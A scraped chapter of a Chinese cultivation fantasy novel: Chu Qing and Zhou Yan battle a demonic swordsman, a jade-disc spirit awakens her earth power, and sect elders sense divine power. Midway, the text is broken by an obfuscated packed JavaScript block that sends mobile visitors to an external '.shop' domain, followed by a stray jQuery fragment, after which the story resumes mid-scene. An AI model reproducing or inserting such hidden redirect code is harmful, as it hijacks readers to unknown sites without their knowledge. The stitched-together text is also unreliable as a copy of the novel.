灵力耗尽,周宴只能飞快使用问雪剑抵挡数不尽的剑光,顷刻之间,他身上已是密密麻麻的剑痕。
褚清拿仅剩的灵力蔽体,不要命似的与任之舟对抗,没过几个回合便被剑气轰出去。
周宴无法形容他此刻的心情,他眼看着褚清被剑气冲击撞到石墙上,却已经没有任何力气去接下她。
眼看着任之舟又要对上褚清,他握紧了剑又冲上去,双手抵剑接住那道剑光。
飞尘走沙,他双脚几欲嵌进地面滑行数米,脑中只有一个念头:拦住他。
周宴背上抵上石墙,鲜血淋漓的流淌,他几乎快整个人镶入墙中。
任之舟看见他这个模样,勾起嘲讽的笑:“你看看你如今像什么?”
“像个死狗!哈哈哈哈哈哈哈!”
灵力涣散,周宴全靠着身后的墙来支撑身体。
噗嗤两声,褚清将双剑狠狠刺进任之舟体内,只是他修为庇体,伤不了他的心脉,真是可惜。
少女清脆的声音在任之舟身后响起,“你是说你连只死狗也比不过?”
“那你是什么?”褚清把剑又深入几分。
任之舟转身汇聚魔力对着褚清攻击,看着躺在地上吐血的少女笑出声。
他的笑声阴恻恻的,蔑视的眼光看着她,“对于你,我连剑都不用。你还指望救下你师兄吗?”
巨大的冲击力轰到身上原来是这种感觉,她整个身体都像车轮碾过,五脏六腑仿佛移了位,胸腔的血从口中呛出,源源不断的从唇角流至脖颈。
她连手指都动不了,真的好疼好疼。
褚清在这一刻是真的觉得,好像这般疼还不如死了。
一只手在一瞬间被紧紧握住,她没力气扭身去看,但她也明白这是谁的手。
周宴看见褚清挑衅的拿剑捅进任之舟身上,就开始拼尽全身力气从那墙上爬出来,爬到她的身边。
他还记得她最怕疼。
幸好,幸好那个小术法只要相连过,再次使用便不再使用灵力。
咻然,褚清感受到全身钻心的疼痛在一瞬间消失了,就连触感都不甚明显。
聪敏如她,几乎在一瞬间想通了之前她服下极品解毒丹,那时贯穿全身的疼痛为何在一瞬间全部消失,她天真的以为她是昏过去了。
只是没想到竟是周宴,原来疼痛也能转移。
刚刚骨碎挫粉般的疼痛她没哭,到现在身上全无疼觉时她却哭了。
眼泪像止不住闸的洪水,哭的她止不住的抽气。
在这时传音入耳:“为什么你的心脏那么疼?”
褚清忍不住扯唇浅笑,下一刻那疼痛便重新回到身上。
任之舟勾唇看着手掌相连的两人,看着猎物在手上苟延残喘好像更有意思。
他不是刚刚还有力气传音?
褚清不敢细想,答案恐惧到连想象都让人痛彻心扉。
她也是在此刻感受到心上的疼痛,原来心疼能掩盖其他所有痛楚。
玉盘在血的侵染下,在衣衫中一闪一闪的发着亮光,她忽然感觉胸前一阵热意。
灵力从胸口的玉盘中疯狂的涌入她体内,熨帖住她的痛楚。
脑海中突然传出一句陌生的声音,像是垂垂老矣的苍发老人。
“怎么把自己搞成这个样子?真不像她。”
褚清:“你是玉盘里的人吗?你能不能救救师兄?他…他死了吗?”
“我不知道。我只是个器灵,只能观察你死没死,不管其他人。”
褚清有些落寞:“他是我的救命恩人,祖宗。”
那人话锋一转,“你可以使用五行之力。”
五行?
“金木水火土。把这个人杀了,再救你师兄。”
五行,她如今触及最近的便是土,褚清反手捏了一把土,土行之力她该如何用呢?
脑海中的声音好像能实时探测她的想法,并且给出答案。
“用你的识海。”
事实证明人的潜力在极限情况时,是无限大的。
意识球在一瞬间深入地面,而在进入地面后,突然像是有了四肢,能够随她的心意动作。
地下的泥沙好像都亲热的贴着她的意识球摩擦,好像在问她,要怎么做?
褚清想着,应该要用万丈的泥石,镇压魔修才好。
任之舟听着突然传出一阵轰隆的声响,像是从地下传出的声音,一阵一阵的闷响,听的人喘不过气。
下一瞬,地脉开始晃动,他甚至站不住脚,猛的跪坐在地上。
于此同时,地上猛的一震,轰隆一声巨响,土地竟裂开了一条裂缝,裂缝下深不见底。
任之舟拼命的站起身想逃出去,奈何不知何时,身后竟立起了足足数丈的泥石,直向他扑来。
没见过如此山崩地裂,像是被人操控一般紧盯着他,巨大的恐惧感使他整个人愣在原地。
在石丈几欲压在他身上时,他使出全身功力抵御石墙,不知是惊恐过甚,金丹的修为本应撑得了片刻。
他连几息都没撑得住,膝盖一软直接跪到了地上,挤压的疼痛使他喘不上气,在意识即将消散之际,耳边传来一句话。
少女声音空灵清脆,说出的话却像地域里爬出的恶鬼索命。
“任之舟,我说你连狗都不如,难道我说错了吗?”
褚清将深入地心的意识球拉回来,仍能清晰的感受到玉盘还在源源不断的为她输送灵力。
“你是我祖宗?”褚清尝试与玉盘的器灵联系。
“求你救救周宴,你费尽心力送我来到这里就是为了救命。如果他死了,我也活不下去。”
叶璟没想到她居然学会了威胁人,气的吹胡子瞪眼。他好不容易攒下这么多灵力!
虽然说都是她修炼时扣下的。
算了算了,毕竟她都喊我祖宗了。
叶璟:“看在他是你救命恩人的份上,我救他。”
在褚清明显感受到灵力输送过缓时,安然的晕了过去。
而在晕着的两人之外,小彩蝶脚踩着竹藤的头,边哭边求它:“你不是很厉害吗,快去救救女仙!我求你了……”
竹藤被烦的极了,这蝴蝶是听不懂蛇话吗?它说了多少遍了!
他变成小黑蛇,猛的缠住小彩蝶,吐着蛇信子在它耳边讲:“我说了!他们没事!刚刚那个发狂的剑修,难道是被老天爷看不惯压死的吗!?”
小彩蝶颤颤巍巍的捂住耳朵,他也忒大声了,“那能是谁?女仙的师兄吗?”
竹藤将蛇身盘成圈,没好气是看了它一眼,“就是你嚷嚷着让我去救的女仙!”
想起刚才的场景,竹藤忍不住眯起眼睛,这样浓纯的神力,真让人向往。
练气修为的弟子,灭了金丹的剑修。竹藤越来越好奇主人喜欢的这个女仙了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16803183|183781||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他传信给宋竹斋,接着又幻化回蝴蝶。
小彩蝶脸上都是崇拜,女仙真的好厉害。
竹藤泻出魔气将保护罩吹破,拉着小彩蝶重新回到乾坤袋里。
*
悬云之上,衡云宗。
正盘腿定坐的男子咻然睁开了眼,他又凝神静气确认之后,栾翰传音给符修长老,“速来。”
没过一刻钟,一位头发半百的修士走了进来,符修长老杨荆脸上满是兴奋。
未见其人,先闻其声。
“又出现了,这般纯正的神力!”
栾翰眸中闪烁着激动,上次感受到有神力出现时,还能说可能是感知错误。
可是这样的神力再次出现了,修仙大陆中如他一般停留化神期的修士不止一个。
也就是说明能感受到神力出现的修士也绝不会只有他。
如今修真界灵力渐渐枯竭,修为停留而迟迟无法进阶的修士便会开始衰老。
如今的三宗六境,神力在几千年前便从未出现了。
如今还出现了两次,栾翰脸上的狂热溢于言表,老天爷都在帮他,助他成神!!
他扭身问杨邢:“这次能确定位置吗?”
杨邢脸上的笑微微一顿,“还跟上次一样,在几个时辰后才能确认出现的位置,并没办法确定神物的位置。”
栾翰勾唇笑了笑,他料到会是这样,如果轻易找得到的,第一个拥有它的人就不能确保是他了。
他想到什么,“这次确认位置后,我们去一探究竟,这次神物的存在是板上钉钉,就不用栾清他们去探查了。”
杨邢赞同的点了点头,又想起马上举行的宗门大比,“这次茅山的比试,听说清清也去?”
栾翰点了点头,“她去走个过场,虽然她入道时间久,可从未参加过。”
“我就是来随便比比的,我和连鹤一也不认识其他人。就是想问问到时候的试炼可以带上我俩吗?”
栾清想到试炼语气有些兴奋。
连鹤一听她说完,看向坐前面的三人,虽然只有邬闵是见过的。
宋竹斋心不在焉的刮磨着茶杯,漆黑的眼眸平淡无波,莫名让人感觉到压抑。
扶元容在刚刚出去一会,回到座位上班便跑了神,神情难测。
两人只好最后将视线放在邬闵身上。
邬闵表情怪异,扶元容恢复记忆后,他好说歹说才让她消了气,两人才和好。
刚约定好来这妙音楼定席,宋竹斋不请自来过来蹭饭,来了也不动筷。
栾清两人又凑巧刚好找褚清他们,凑队友进试炼。
扶元容现下也是看不出喜怒,一副跑了神的样子。
他今天出门是没看黄历,居然这么倒霉。
邬闵皮笑肉不笑的勾了勾唇角,语句斟酌:“周宴褚清现下也不在,元容不参加大比,我一个人的想法没价值。”
栾清好似是听懂了,看向宋竹斋问:“公子你看我们能一起吗?”
连鹤一都来不及控制住栾清的嘴,她自小被惯着,也没参加过什么集体行动,委婉的拒绝是听不懂的。
宋竹斋一个时辰前就觉心中慌乱,想着或许是独自一人的关系,便来找了邬闵。
可一个半时辰都快过去,这种恐慌不减反增,几人的交谈他听懂了一点。
他随口回道:“我随便,你问我师叔才对。”